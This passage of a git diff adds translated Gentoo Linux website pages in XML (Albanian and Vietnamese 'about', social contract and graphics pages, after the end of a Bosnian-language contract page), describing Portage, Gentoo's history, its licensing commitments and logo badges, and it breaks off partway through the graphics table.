+ Međutim, Gentoo Linux neče nikada <i>ovisiti</i> na komadu 
+software(a) osim ako isti nije pokriven pod GNU General Public 
+License, GNU Lesser General Public License ili neke druke licence 
+odobrene od strane Open Source Initiative(
+<uri link="http://www.opensource.org/licenses/index.html">OSI</uri>
+.)
+</p>
+	<note>Mi namjeravamo opružiti gore navedene tačke da zahtjevaju da 
+sve glavne Gentoo Linux komponente moraju da se drže licenci odobrenih od 
+strane OSI <e>i</e> Free Software Foundation (
+<uri link="http://www.gnu.org/">FSF</uri>
+.)
+</note>
+</body>
+</section>
+	<section>
+<title>Mi čemo vratiti Free Software Community(ju)</title>
+	<body>
+	<p>Mi čemo uspostaviti vezu sa Free Software autorima i 
+sarađivati 
+kad moguće.  Mi čemo slati ispravke, poboljšanja, korisničke molbe, itd. 
+"uzvodnim" autorima software(a) uključenog u naš sistem.  Mi čemo takođe 
+čisto dokumentovati <e>naše</e> doprinose u Gentoo Linux(u) kao i ostala 
+poboljšanja ili promjene koje mi napravimo na spoljnim source(ovima) 
+korišćenim od strane Gentoo Linux(a) (bilo u formi zakrpa, popravki ili 
+nekoj drugoj formi.)
+
+Mi primamo znanju da su naše zakrpe i poboljšanja su više značajni večoj 
+Free Software zajednici ako su čisto dokumentovani i objašnjeni, jer ne 
+svako ima vrijeme i mogučnost da razumije doslovne promjene koje zakrpe, 
+pobolšjanja, itd. sadržavaju u sebi.
+</p>
+</body>
+</section>
+	<section>
+<title>Mi nećemo skrivati probleme</title>
+	<body>
+	<p>
+Mi čemo držati <uri link="http://bugs.gentoo.org/">bazu kvarova</uri> 
+u javnom oku svo vrijeme. 
+Izvještaje koji korisnici arhiviraju "on-line" če automatski biti vidljivi 
+drugima. 
+</p>
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/sq/about.xml b/xml/htdocs/main/sq/about.xml
new file mode 100644
index 00000000..ab0e6b95
--- /dev/null
+++ b/xml/htdocs/main/sq/about.xml
@@ -0,0 +1,103 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/sq/about.xml,v 1.3 2007/03/16 10:40:45 neysx Exp $ -->
+
+<mainpage lang="sq">
+<title>About Gentoo Linux</title>
+<author title="Author"><mail link="drobbins@gentoo.org">Daniel Robbins</mail></author>
+<author title="Editor"><mail link="peesh@gentoo.org">Jorge Paulo</mail></author>
+<author title="Editor"><mail link="klieber@gentoo.org">Kurt Lieber</mail></author>
+<version>1.0.10</version>
+<date>March 25, 2004</date>
+
+<chapter>
+<title>Rreth Gentoo Linux</title>
+<section>
+<title>Gentoo Linux... në pllakatë</title>
+<body>
+		<fig link="/images/poster.jpg"/>
+</body>
+</section>
+<section>
+<title>Gentoo Linux në një paragraf</title>
+<body>
+
+<p>Ne e prodhojmë Gentoo Linux, një shije e mirë speciale e Linux që në mënyrë automatike mund të
+optimizohet dhe të përshtatet për gati secilin aplikacion apo nevojë. Performancë
+të tejskajshme, përshtatje dhe komunitet të shkallës së lartë për zhvilluesit e shfrytëzuesit,
+janë të gjitha shenjat dalluese të eksperiencës së Gentoo.  </p>
+
+<p>Duke iu falenderuar teknologjisë të quajtur Portage, Gentoo Linux mund të bëhet një 
+server i sigurtë e ideal, stacion i punës për zhvillim, desktop profesional, sistem lojërash,
+embedded alternativë apo diçka tjetër -- çkado që ti dëshiron të jetë. Përshkak të
+adaptibilitetit të tij gati të palimituar , ne e quajmë Gentoo Linux si
+<b>meta</b>distribucion.   </p>
+
+</body>
+</section>
+<section>
+<title>Çka është Portage?</title>
+<body>
+
+<p><b>Portage</b>  është zemra e Gentoo Linux, dhe kryen shumë funksione.
+Me një fjalë, Portage është <e>software distribucion</e> sistemi për Gentoo Linux.
+Për të marë software-in e fundit për Gentoo Linux, ju shkruani vetëm një komandë: <c>emerge
+sync</c>. Kjo komandë i thotë Portage që të update "Portage tree"-un tuaj lokal përmes
+Internetit. Portage druri juaj lokal përmban një kolekcion komplet të skriptave
+që shfrytëzohen nga Portage për të krijuar dhe instaluar Gentoo pakot e fundit.
+Tani, ne kemi  <uri link="http://packages.gentoo.org/">gati 6000 pako</uri> në
+Portage trungun tonë, me të rejat që futen gjithnjë.</p>
+
+<p>Portage është gjithashtu një <e>sistem për ndërtimin dhe instalimin e pakove</e>. Kur ju 
+dëshironi të instaloni një pako, ju shkruani <c>emerge emriipakos</c>, ku
+Portage automatikisht ndërton një version të caktuar të pakos me specifikimet tuaja
+egzakte, optimizonë atë për hardware-in tuaj dhe siguron që vetitë opcionale që ti i dëshiron në pako
+të aftësohen -- dhe ato që ti nuk i dëshiron nuk aftësohen.</p>
+
+<p>Portage gjithashtu e mban sistemin tuaj  <e>up-to-date</e>. Duke shtypur <c>emerge -u
+world</c> -- një komandë -- siguron që të gjitha pakot që <e>ju</e>
+i doni ne sistem janë freskuar me më të ritë (updated) në mënyrë automatike.</p>
+
+</body>
+</section>
+
+<section>
+<title>Gentoo Linux 2004.0</title>
+<body>
+	
+<p>Portage do të mbanë Gentoo Linux sistemin tuaj si "up-to-date" ashtu siç dëshiron.
+Dhe për këtë shkak, Gentoo shfrytëzuesit me eksperiencë nuk i jepin shumë rëndësi
+"versioneve të reja" të Gentoo Linux -- pas të gjithash, versioni i fundit dhe më i miri
+i Gentoo Linux është gjithmone në dispozicion duke shtypur një <c>emerge sync</c>komandë. 
+Nuk ka nevojë me prit me muaj për një "version të ri" të Gentoo Linux për
+tu lëshuar për arsye se Gentoo Linux në mënyrë të vazhdueshme updatet dhe
+pastrohet e këto përmirësime janë menjëherë të gatshme për ju.
+
+</p>
+
+<p>Me siguri, që ne rrokullisim CD lëshime oficiale të Gentoo Linux në mënyrë që
+Gentoo Linux-i i ri të ketë instalimet aq up-to-date sa të jetë e mundur prej fillimit. Ketu është
+rishikim i asaj që është përfshier në të deritanishmin 2004.0 lëshim të Gentoo Linux: </p>	
+
+<ul>
+<li>Përkrahje për x86, PowerPC, UltraSparc, Alpha dhe MIPS procesorë</li>
+<li>Instalim i bazuar ne LiveCD për x86, PowerPC, UltraSparc dhe Alpha</li>
+<li>Versioni stabil i fundit i KDE dhe GNOME</li>
+<li>Disa Kernelë të optimizuar</li>
+<li>GNU ambient për zhvillim shumë modern</li>
+<li>Përkrahje e shkëlqyeshme e filesystem-ëve: ReiserFS, XFS, ext3, EVMS, LVM</li>
+<li>Përkrahje e shkëlqyeshme e hardware-it: NVIDIA, Creative Labs Live! dhe Audigy</li>
+<li>OpenGL të moduluar dhe sub-sistem kompajllerë (përkrahje e shumë versioneve co-egzistuese)</li>
+<li>Skriptë të pastër për inicializimin a varësi-sistemit</li>
+<li>Inciativë e re "hardened" e Gentoo Sigurisë</li>
+<li>6000+ pako te software-it të fundit dhe më të mirit</li>
+<li>Aftësi e shtuar e Portage</li>
+</ul>
+
+<p>Në qoftë se, shpejtësia dhe fleksibiliteti i Gentoo Linux ju përshtatet juve, atëherë
+ne ju nxisim ju që ta provoni. Ne nuk mendojmë që ju do të zhgënjeheni.</p>
+
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/sq/contract.xml b/xml/htdocs/main/sq/contract.xml
new file mode 100644
index 00000000..091144fb
--- /dev/null
+++ b/xml/htdocs/main/sq/contract.xml
@@ -0,0 +1,77 @@
+<?xml version='1.0' encoding='utf-8'?>
+
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+
+<mainpage id="contract">
+<title>Gentoo Linux Social Contract</title>
+<author title="Autore"><mail link="drobbins@gentoo.org">Daniel Robbins</mail></author>
+<author title="Perkthyes"><mail link="edon@albalinux.org">Edon Kelmendi</mail></author>
+<abstract></abstract>
+
+<version>1.2</version>
+<date>19 Korrik 2003</date>
+
+<chapter>
+	<title>Gentoo Linux Kontrata Shoqerore</title>
+	<section>
+		<title>Rreth Kontratës Shoqërore të Gentoo Linux</title>
+	<body>	
+		<p>Kjo kontratë shoqërore
+		është parashikuar që në mënyrë të qartë të spjegoi në tërësi politikën e zhvillimit dhe standardet e ekipit zhvillues të Gentoo Linux.  
+		Pjesë të këtij dokumenti janë shkëputur prej <uri link="http://www.debian.org/social_contract">Debian Social Contract</uri>, dhe është
+		shumë e ngjashme me të përveq se disa pjesë janë qartësuar dhe janë argumentuar përderisa disa pjesë të tjera në mënyrë të
+		gjykueshmë janë hjequr. Komentet janë të mirëseardhura.  Ju lutem dërgoni ato në
+                <mail link="gentoo-dev@gentoo.org">gentoo-dev@gentoo.org</mail> mailing listën tonë.</p>
+	</body>
+	</section>
+
+	<section>
+		<title>>Gentoo Linux është dhe do të mbetet Free Software</title>
+	<body>
+
+<p>
+Ne do ti lëshojmë kontribucionet tona për Gentoo Linux si free software, nër
+GNU General Public Licensën versioni 2 (apo më të vonshëm, në drejtimin tonë.) Çfarëdo
+kontribimi eksternal për Gentoo Linux (në formë të burimeve apo binarëve të lirë për distributim)
+mund të inkorporohen brenda Gentoo Linux të siguruar që ne jemi të entituluar në mënyrë legale ta bëjmë këtë.  
+Megjithatë, Gentoo Linux kurr nuk do të <i>varet</i> mbi një copë
+software-i përderisa ai është konfortabil me GNU General Public License, GNU Lesser 
+General Public License apo ndonjë licensë tjetër të aprovuar nga Open Source 
+Inciativa
+(<uri link="http://www.opensource.org/licenses/index.html">OSI</uri>.)
+</p>
+
+<note>Ne konsiderojmë të zgjerohemi mbi atë pjesë të kontratës për të cilën nevojitet që të gjitha bërthamat e
+Gentoo Linux komponentëve të jenë konfortabil në ndonjë licensë të aprovuar nga OSI <e>dhe</e> Free
+Software Foundation (<uri link="http://www.gnu.org/">FSF</uri>.)</note>
+
+	</body>
+	</section>
+
+	<section>
+		<title>Ne do ti japim Free Software Komunitetit</title>
+	<body>
+<p>
+Ne do ti ndreqim mardhëniet me Free Software autorët dhe do të koloborojmë kur
+është e mundur. Ne do të parashtrojmë bug-fiksimet, përmirësimet, kërkimet e 
+shfrytëzuesve, etj. tek autorët e lartë të software-it që gjendet ne sistemin tuaj.
+Ne gjithashtu do të dokumentojmë kontributet <e>tona</e> për Gentoo Linux edhe përmirësimet
+ndryshimet që ne bëjmë në burimet eksterne të përdorur nga Gentoo Linux (në formë të
+harrnave, "sed tweaks" apo ndonjë forme tjetër.)  Ne pranojmë që përmirësimet dhe harrnat
+tona janë shumë më të arsyeshme për komunitet të madh të Free Software
+nëse ato në mënyrë të pastër dokumentohen dhe shpjegohen, për deri sa 
+nuk ka gjethkush kohë dhe aftësi ti kuptojë ndryshimet literale nëpër harrna ,
+tweaks, etj. vetë.
+</p>
+	</body>
+	</section>
+
+	<section>
+		<title>Ne nuk do ti mshefim problemet tona</title>
+	<body>
+<p>Ne do të mbajmë <uri link="http://bugs.gentoo.org/">bug report databazën</uri> të hapur dhe publike gjithmonë.
+Raportet që shfrytëzuesit i file-in on-line menjëherë do të bëhen të dukshme te të tjerët.</p>
+	</body>
+	</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/vi/about.xml b/xml/htdocs/main/vi/about.xml
new file mode 100644
index 00000000..0dcc302b
--- /dev/null
+++ b/xml/htdocs/main/vi/about.xml
@@ -0,0 +1,202 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+<!-- Rev: 1.31 -->
+
+<mainpage lang="vi">
+<title>Giới thiệu về Gentoo Linux</title>
+<author title="Author">
+  <mail link="drobbins@gentoo.org">Daniel Robbins</mail>
+</author>
+<author title="Editor">
+  <mail link="peesh@gentoo.org">Jorge Paulo</mail>
+</author>
+<author title="Editor">
+  <mail link="klieber@gentoo.org">Kurt Lieber</mail>
+</author>
+<author title="Editor">
+  <mail link="fox2mike@gmail.com">Shyam Mani</mail>
+</author>
+<author title="Editor">
+  <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+
+<abstract>
+Tài liệu này mô tả sơ lược về Gentoo và các tính năng của Gentoo. Nó
+cũng chứa một số thông tin về lịch sử của Gentoo.
+</abstract>
+<version>1.2</version>
+<date>2005-11-24</date>
+
+<chapter>
+<title>Giới thiệu về Gentoo Linux</title>
+<section>
+<title>Gentoo Linux... trên áp phích</title>
+<body>
+
+<fig link="/images/poster.jpg"/>
+
+</body>
+</section>
+<section>
+<title>Gentoo Linux trên văn bản</title>
+<body>
+
+<p>
+Chúng tôi xin giới thiệu Gentoo Linux, một phiên bản đặc biệt của
+Linux, có thể được tự động tối ưu và tùy biến cho bất cứ ứng dụng hoặc
+nhu cầu nào. Khả năng cấu hình cực kỳ, hiệu năng và lực lượng phát
+triển cũng như người dùng ưu tú dấu xác nhận tiêu chuẩn của Gentoo.
+</p>
+
+<p>
+Xin cảm ơn công nghệ Portage, nhờ đó Gentoo Linux có thể trở nên một
+server bảo mật lý tưởng, một máy trạm dùng để phát triển, một hệ để
+bàn chuyên nghiệp, một hệ thống game, giải pháp nhúng hoặc những thứ
+khác -- bất cứ thứ gì bạn cần. Vì khả năng thích ứng gần như không
+giới hạn, chúng tôi gọi Gentoo Linux là <b>meta</b>distribution.
+</p>
+
+</body>
+</section>
+<section>
+<title>Portage là gì?</title>
+<body>
+
+<p>
+<b>Portage</b> là trái tim của Gentoo Linux, và thực hiện nhiều tính
+năng quan trọng. Một mặt, Portage là <e>hệ thống phân phối phần
+mềm</e> cho Gentoo Linux. Để có phần mềm mới nhất cho Gentoo Linux,
+chỉ cần gõ lệnh: <c>emerge --sync</c>. Lệnh này sẽ ra lệnh Portage cập
+nhật "cây Portage" cục bộ từ Internet. Cây Portage của bạn chứa một
+tập hợp hoàn chỉnh các script dùng bởi Portage để tạo và cài đặt các
+gói phần mềm mới nhất. Hiện nay, chúng tôi có <uri
+link="http://packages.gentoo.org/categories">hơn 10000 gói</uri> trong
+cây Portage, và các gói mới <uri
+link="http://packages.gentoo.org">được thêm liên tục</uri>.
+</p>
+
+<p>
+Portage còn là <e>hệ thống xây dựng và cài đặt gói phần mềm</e>. Khi
+bạn muốn cài đặt một gói, bạn gõ <c>emerge tên-gói</c> để Portage tự
+động tạo phiên bản riêng cho gói phần mềm theo chính xác yêu cầu của
+bạn, tối ưu nó theo phần cứng của bạn và đảm bảo các tính năng bổ sung
+bạn cần đều được bật -- những tính năng không cần bị loại bỏ.
+</p>
+
+<p>
+Portage còn giúp hệ thống <e>luôn cập nhật</e>. Gõ <c>emerge -u
+world</c> -- một lệnh -- sẽ bảo đảm mọi gói mà <e>bạn</e> muốn có trên
+hệ thống được cập nhật tự động.
+</p>
+
+</body>
+</section>
+<section>
+<title>Gentoo Linux</title>
+<body>
+	
+<p>
+Portage sẽ giúp hệ thống Gentoo Linux luôn được cập nhật theo ý bạn.
+Vì điều này, người dùng Gentoo kinh nghiệm thường không chú ý quá
+nhiều đến "các phiên bản mới" của Gentoo Linux -- dù gì thì các phiên
+bản mới nhất của Gentoo Linux sẽ luôn có thông qua lệnh <c>emerge
+--sync</c>. Không cần thiết phải chờ vài tháng để có "phiên bản mới"
+của Gentoo Linux vì Gentoo Linux liên tục được cập nhật và tinh lọc,
+những cải tiến này sẽ có ngay lập tức cho bạn.
+</p>
+
+<p>
+Dĩ nhiên, chúng tôi cũng phát hành những CD Gentoo Linux chính thức
+để cài đặt Gentoo Linux mới hoàn toàn. Đây là vài nét về những gì được
+phát hành gần đây:
+</p>	
+
+<ul>
+<li>Hỗ trợ bộ xử lý x86, AMD64, PowerPC, UltraSparc, Alpha và MIPS</li>
+<li>Cài đặt bằng LiveCD cho x86, AMD64, PowerPC, UltraSparc và Alpha</li>
+<li>KDE và GNOME bản ổn định mới nhất</li>
+<li>Những Linux kernel tối ưu khác nhau</li>
+<li>Môi trường phát triển GNU hiện đại</li>
+<li>Hỗ trợ hệ tập tin: ReiserFS, XFS, ext3, EVMS, LVM</li>
+<li>Hỗ trợ phần cứng: NVIDIA, Creative Labs Live! và Audigy</li>
+<li>Phân hệ OpenGL và trình biên dịch module hoá (hỗ trợ cài đặt đồng
+thời nhiều phiên bản)</li>
+<li>Hệ thống script khởi động hệ thống dựa trên ràng buộc</li>
+<li>Gentoo "hardened"</li>
+<li>hơn 10000 gói phần mềm mới nhất</li>
+<li>Các tính năng Portage cao cấp</li>
+</ul>
+
+<p>
+Nếu sức mạnh, sự mềm dẻo và tốc độ của Gentoo Linux hấp dẫn bạn, chúng
+tôi đề nghị bạn hãy thử nó. Chúng tôi không tin bạn sẽ thất vọng.
+</p>
+
+</body>
+</section>
+<section>
+<title>Lịch sử Gentoo</title>
+<body>
+
+<p>
+Mọi chuyện bắt đầu bằng thời gian ngoài giờ. Thời gian để khám phá, để
+thử nghiệm. Đó là cách người tạo ra Gentoo, Daniel Robbins, bước vào
+thế giới Linux. Ông đã bắt đầu bằng Debian Linux, thiết lập một vài
+ứng dụng, họ8c cài vào và ra Linux, và như hầu hết người dùng Linux,
+thử một vài bản phân phối khác nhau. Ông đã giúp đỡ một bản phân phối
+tên là Stampede Linux. Không lâu sau, ông cùng phát triển Stampede và
+làm việc với hệ thống quản lý gói của nó. Sau một khoảng thời gian, do
+một số vấn đề, ông rời bỏ và quyết định tạo một bản phân phối của
+riêng mình.
+</p>
+
+<p>
+Vậy là Enoch được sinh ra. Daniel muốn Enoch là một bản phân phối
+nhanh như chớp với những tính năng tự động hóa hoàn toàn việc tạo và
+nâng cấp gói. Không lâu sau, #enoch trên irc.freenode.net được hình
+thành với 10 thành viên giúp phát triển bản phân phối này. Sau một
+khoảng thời gian, Enoch bắt đầu cải tiến, họ người cần đặt một tên
+mới. Họ gọi nó là Gentoo Linux. Vào khoảng thời gian Gentoo chuẩn bị
+ra bản 1.0, Daniel mua được một máy mới và nhanh. Kiểu bo mạch chủ mới
+có faulty chip, làm Linux bị khóa khi rảnh và vì thế, sự phát triển
+Gentoo Linux bị ngừng hoàn toàn.
+</p>
+
+<p>
+Vì không có gì xảy ra với Gentoo Linux, Daniel chuyển sang FreeBSD.
+Ông thích cái ông đã thấy, đặc biệt là hệ thống "Ports". Và khi quay
+về Linux, cùng với những người phát triển khác như Achim Gottinger,
+Gentoo tiếp tục được phát triển. Toàn bộ thệ thống quản lý gói được
+thiết kế lại và được đặt tên là Portage. Gentoo đã phát triển mạnh kể
+từ đó, với vô số tính năng mới liên tục được thêm vào theo năm tháng.
+Đội tình nguyện giúp Gentoo luôn luôn có những phần mềm mới nhất và an
+toàn bảo mật cũng như ổn định cao nhất.
+</p>
+
+<p>
+Mô hình phát triển Gentoo được mở rộng với một cách tiếp cận dựa hoàn
+toàn trên dự án, mỗi dự án phát triển độc lập và hợp tác với các dự án
+Gentoo khác. Các cuộc gặp định kỳ giữa các trưởng dự án giúp đảm bảo
+tiến độ phát triển. Tổ chức Gentoo Foundation được hình thành để duy
+trì quỹ tài chính, bảo vệ về phá lý và định hướng sự phát triển của
+Gentoo để nó tuân theo <uri link="/main/vi/contract.xml">Cam kết
+Cộng đồng</uri>.
+</p>
+
+<p>
+Vào tháng tư năm 2004, Daniel quyết định rời khỏi Gentoo. Chúng ta vô
+cùng cảm ơn Daniel vì những gì ông đã làm cho Gentoo và chúc ông điều
+tốt lành nhất.
+</p>
+
+<p>
+Gentoo vẫn tiếp tục phát triển và tự cải tiến - những dự án mới được
+hình thành, nhiều người phát triển mới tham gia, những gói mới được
+thêm từng ngày. Những người phát triển Gentoo và cộng đồng người dùng
+là những giá trị to lớn nhất của Gentoo.
+</p>
+
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/vi/contract.xml b/xml/htdocs/main/vi/contract.xml
new file mode 100644
index 00000000..f52ed140
--- /dev/null
+++ b/xml/htdocs/main/vi/contract.xml
@@ -0,0 +1,143 @@
+<?xml version='1.0' encoding='utf-8'?>
+
+<!-- Rev: 1.10 -->
+
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+
+<mainpage lang="vi">
+<title>Cam kết Cộng đồng của Gentoo</title>
+
+<author title="Author">
+  Dự án Gentoo
+</author>
+
+<abstract>
+Tài liệu này chứa lời cam kết của cộng đồng Gentoo về tự do phần mềm
+của Gentoo, tính mở trong quy trình phát triển của Gentoo và những
+phản hồi chúng tôi nhận được từ cộng động phần mềm tự do.
+</abstract>
+
+<version>1.8</version>
+<date>2005-09-17</date>
+
+<chapter>
+<title>Cam kết Cộng đồng của Gentoo</title>
+<section>
+<title>Về Cam kết Cộng đồng của Gentoo</title>
+<body>	
+
+<p>
+Cam kết Cộng đồng này được dự định để mô tả rõ ràng các quy tắt phát
+triển chung và các chuẩn mực trong đội phát triển dự án Gentoo. Nhiều
+phần của tài liệu này xuất phát từ <uri 
+link="http://www.debian.org/social_contract">Debian Social
+Contract</uri>. Nói chung nó rất giống trừ một số phần được xác minh
+và bổ sung trong khi một số phần khác bị loại bỏ vì không cần thiết.
+Chúng tôi luôn hoan nghênh các bình luận và đánh giá. Vui lòng gửi đến
+<mail link="gentoo-dev@gentoo.org">gentoo-dev@gentoo.org</mail>
+mailing list (tiếng Anh).
+</p>
+
+</body>
+</section>
+<section>
+<title>Gentoo là gì?</title>
+<body>
+
+<p>
+Gentoo tự bản thân là một tập hợp tri thức tự do. Tri thức trong ngữ
+cảnh này có thể được định nghĩa như tài liệu và các metadata liên quan
+đến khái niệm hoặc lĩnh vực có liên quan đến Hệ điều hành và những
+thành phần của nó, cũng như <uri
+link="http://www.fsf.org/philosophy/free-sw.html">phần mềm tự do</uri>
+được đóng góp bởi những developer khác nhau, cho Dự án Gentoo.
+</p>
+
+<p>
+Gentoo, hệ điều hành, dựa trên khái niệm tri thức mô tả ở trên. Hệ
+điều hành Gentoo phải thoả mãn yêu cầu self-hosting (tự hoạt động).
+Nói cách khác, hệ điều hành có thể tự tạo ra chính nó từ số không,
+dùng những công cụ và metadata được đề cập ở trên. Nếu sản phẩm liên
+kết với dự án Gentoo chính thức không thoả mãn yêu cầu này, sản phẩm
+đó không được coi là Hệ điều hành Gentoo.
+</p>
+
+<p>
+Danh sách các dự án Gentoo chính thức nằm ở <uri 
+link="http://www.gentoo.org/proj/en/metastructure/projects.xml">Gentoo
+Metastructure</uri>. Một dự án Gentoo không nhất thể phải tạo ra một
+hệ điều hành Gentoo để có thể được công nhận chính thức.
+</p>
+
+</body>
+</section>
+<section>
+<title>Gentoo là và vẫn sẽ là Phần mềm Tự do</title>
+<body>
+
+<p>
+Chúng tôi sẽ công bố các đóng góp của chúng to cho Gentoo dưới dạng
+phần mềm tự do, metadata hoặc tài liệu, theo GNU General Public
+License version 2 (hoặc mới hơn, tuỳ ý định của chúng tôi) hoặc
+Creative Commons - Attribution / Share Alike version 2 (hoặc mới hơn,
+tuỳ ý định của chúng tôi). Bất kỳ đóng góp nào từ bên ngoài cho Gentoo
+(theo hình thức mã nguồn phân phối tự do, binary, metadata hoặc tài
+liệu) có thể được đưa vào Gentoo nếu chúng tôi có quyền hợp pháp để
+làm điều đó. Tuy nhiên, Gentoo sẽ <e>không bao giờ</e> dựa trên một
+phần mềm hoặc metadata trừ khi nó tuân thủ GNU General Public License,
+the GNU Lesser General Public License, the Creative Commons -
+Attribution/Share Alike hoặc những license khác được công nhận bởi
+Open Source Initiative (<uri 
+link="http://www.opensource.org/licenses/index.html">OSI</uri>).
+</p>
+
+<note>
+Chúng tôi đang xem xét mở rổng các tuyên bố ở trên để yêu cầu mọi
+thành phần lõi của Gentoo phải tuân thủ license được công nhận bởi OSI
+<e>và</e> Free Software Foundation (<uri 
+link="http://www.gnu.org/">FSF</uri>).
+</note>
+
+</body>
+</section>
+<section>
+<title>Chúng tôi sẽ đóng góp cho Cộng đồng Phần mềm Tự do</title>
+<body>
+
+<p>
+Chúng tôi sẽ thiết lập các mối quan hệ với các tác giả Phần mềm Tự do
+và hợp tác với họ nếu có thể. Chúng tôi sẽ gửi các bản sửa lỗi, các
+cải tiến, các yêu cầu từ phía người dùng ... cho các tác giả
+"upstream" (tác giả chính) của phần mềm nằm trong hệ thống của chúng
+tôi. Chúng tôi cũng sẽ ghi rõ ràng những đóng góp <e>của chúng tôi</e>
+cho Gentoo cũng như bất cứ cải tiến hoặc thay đởi nào chúng tôi tạo ra
+cho các nguồn bền ngoài, được dùng bởi Gentoo (hoặc dưới dạng patch,
+"sed tweak" hoặc dưới dạng khác). Chúng tôi công nhận rằng những cải
+tiến và thay đổi của chúng tôi có ý nghĩa nhiều hơn với cộng động Phần
+mềm Tự do lớn hơn nếu chúng tôi ghi tài liệu và giải thích rõ ràng, vì
+không phải mọi người đều có thời gian hoặc khả năng để hiểu những thay
+đổi trong các patch hoặc tweak.
+</p>
+
+</body>
+</section>
+<section>
+<title>Chúng tôi sẽ không che giấu các vấn đề</title>
+<body>
+
+<p>
+Chúng tôi sẽ giữ cho <uri link="http://bugs.gentoo.org/">bug report database</uri> 
+công khai mọi lúc; các báo cáo người dùng gửi cho chúng tôi sẽ ngay
+lập tức được công khai cho những người khác xem.
+</p>
+
+<p>
+Tuy nhiên cũng có ngoại lệ khi chúng tôi nhận được các thông tin liên
+quan đến an ninh/bảo mật hoặc đến quan hệ của developer với yêu cầu
+không được công khai trước một giới hạn nhất định.
+</p>
+
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/vi/graphics.xml b/xml/htdocs/main/vi/graphics.xml
new file mode 100644
index 00000000..0325ce3b
--- /dev/null
+++ b/xml/htdocs/main/vi/graphics.xml
@@ -0,0 +1,425 @@
+<?xml version='1.0' encoding='utf-8'?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+
+<!-- Rev: 1.26 -->
+
+<mainpage lang="vi">
+<title>Đồ hoạ Gentoo Linux</title>
+<author title="Previous Chief Architect">
+  <mail link="drobbins@gentoo.org">Daniel Robbins</mail>
+</author>
+
+<abstract>
+Danh sách này liệt kê những tài nguyên đồ hoạ khác nhau có thê dùng
+theo những điều khoản Gentoo Name and Logo Usage Guidelines
+</abstract>
+
+<version>2.7</version>
+<date>2006-02-15</date>
+
+<chapter>
+<title>Đồ hoạ Gentoo Linux</title>
+<section>
+<title>Quyền sử dụng</title>
+<body>
+
+<p>
+Những đồ hoạ trong trang này được tạo từ nhiều tác giả khác nhau,
+nhưng người cho phép bạn quyền sử dụng và thay đổi chúng cho phù hợp
+với bạn. Việc sử dụng tên và logo Gentoo được ghi trong <uri
+link="/main/en/name-logo.xml">Gentoo Name and Logo Usage
+Guidelines</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Đóng góp</title>
+<body>
+
+<p>
+Nếu bạn muốn đóng góp đồ hoạ cho Gentoo, vui lòng dùng <uri
+link="http://forums.gentoo.org">Gentoo Forums</uri> trước để những
+người khác có thể bình luận và giúp đỡ bạn cải thiện chất lượng đồ
+hoạ. Sau đó hãy liên lạc <mail
+link="www@gentoo.org">Đội Gentoo WWW</mail> và yêu cầu bao gồm đồ hoạ
+của bạn.
+</p>
+
+<p>
+Đội này có thể quyết định không bao gồm đồ hoạ của bạn nếu nó quá
+giống với những cái đã có, hoặc không có đủ các độ phân giải cần
+thiết, hoặc không thích hợp cho tinh thần Gentoo (ví dụ, quá xúc phạm)
+hoặc vì lý do khác.
+</p>
+
+<p>
+Việc đưa đồ hoạ lên trang này sẽ mất một chút thời gian, hãy kiên
+nhẫn.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Huy hiệu Gentoo Linux</title>
+<section>
+<body>
+
+<p>
+<b>Hãy để thế giới biết bạn dùng Gentoo Linux.</b>
+</p>
+
+<p>
+Đặt ảnh <e>Powered by Gentoo</e> trên trang Web dùng Gentoo hoặc dùng
+<e>Huy hiệu Gentoo</e> trên trang Web, blog, chữ ký forum .. của bạn
+và liên kết đến <uri
+link="http://www.gentoo.org">http://www.gentoo.org</uri> - hãy giúp
+chúng tôi thông báo cho mọi người biết! Hãy nói cho những người khác
+biết bạn hạnh phúc thế nào khi dùng Gentoo.
+</p>
+
+<table>
+<tr>
+  <ti>
+    <fig link="/images/powered-show.png"/>
+  </ti>
+  <ti>
+    <fig link="/images/powered-by-gentoo.jpg"/><br/>
+    <fig link="/images/powered-by-gentoo2.jpg"/><br/>
+    <fig link="/images/powered-by-gentoo3.png"/><br/>
+    <fig link="/images/powered-by-gentoo4.png"/>
+  </ti>
+  <ti>
+    <fig link="/images/ralph_gentoo_badge.png"/>
+  </ti>
+  <ti>
+    <fig link="/images/gentoo-badge.png"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/powered-small.png">Nhỏ</uri> - 
+    <uri link="/images/powered.png">Vừa</uri> -
+    <uri link="/images/powered-big.png">Lớn</uri>
+  </ti>
+  <ti>
+    bởi Sascha Schwabbauer
+  </ti>
+  <ti>
+    bởi Ralph Jacobs
+  </ti>
+  <ti>
+    bởi Ryan Viljoen
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/gentoo-badge2.png"/>
+  </ti>
+  <ti>
+    <fig link="/images/gentoo-badge3.png"/>
+  </ti>
+  <ti>
+    <fig link="/images/szbence-badge1.png"/><br/>
+    <fig link="/images/szbence-badge2.png"/><br/>
+    <fig link="/images/szbence-badge3.png"/><br/>
+    <fig link="/images/szbence-badge4.png"/><br/>
+    <fig link="/images/szbence-badge5.png"/><br/>
+    <fig link="/images/szbence-badge6.png"/>
+  </ti>
+  <ti/>
+  <ti/>
+</tr>
+<tr>
+  <ti>
+    bởi <uri link="http://forums.gentoo.org/profile.php?mode=viewprofile&amp;u=36364">m@o</uri>
+  </ti>
+  <ti>
+    bởi <uri link="http://forums.gentoo.org/profile.php?mode=viewprofile&amp;u=26433">wolven</uri>
+  </ti>
+  <ti>
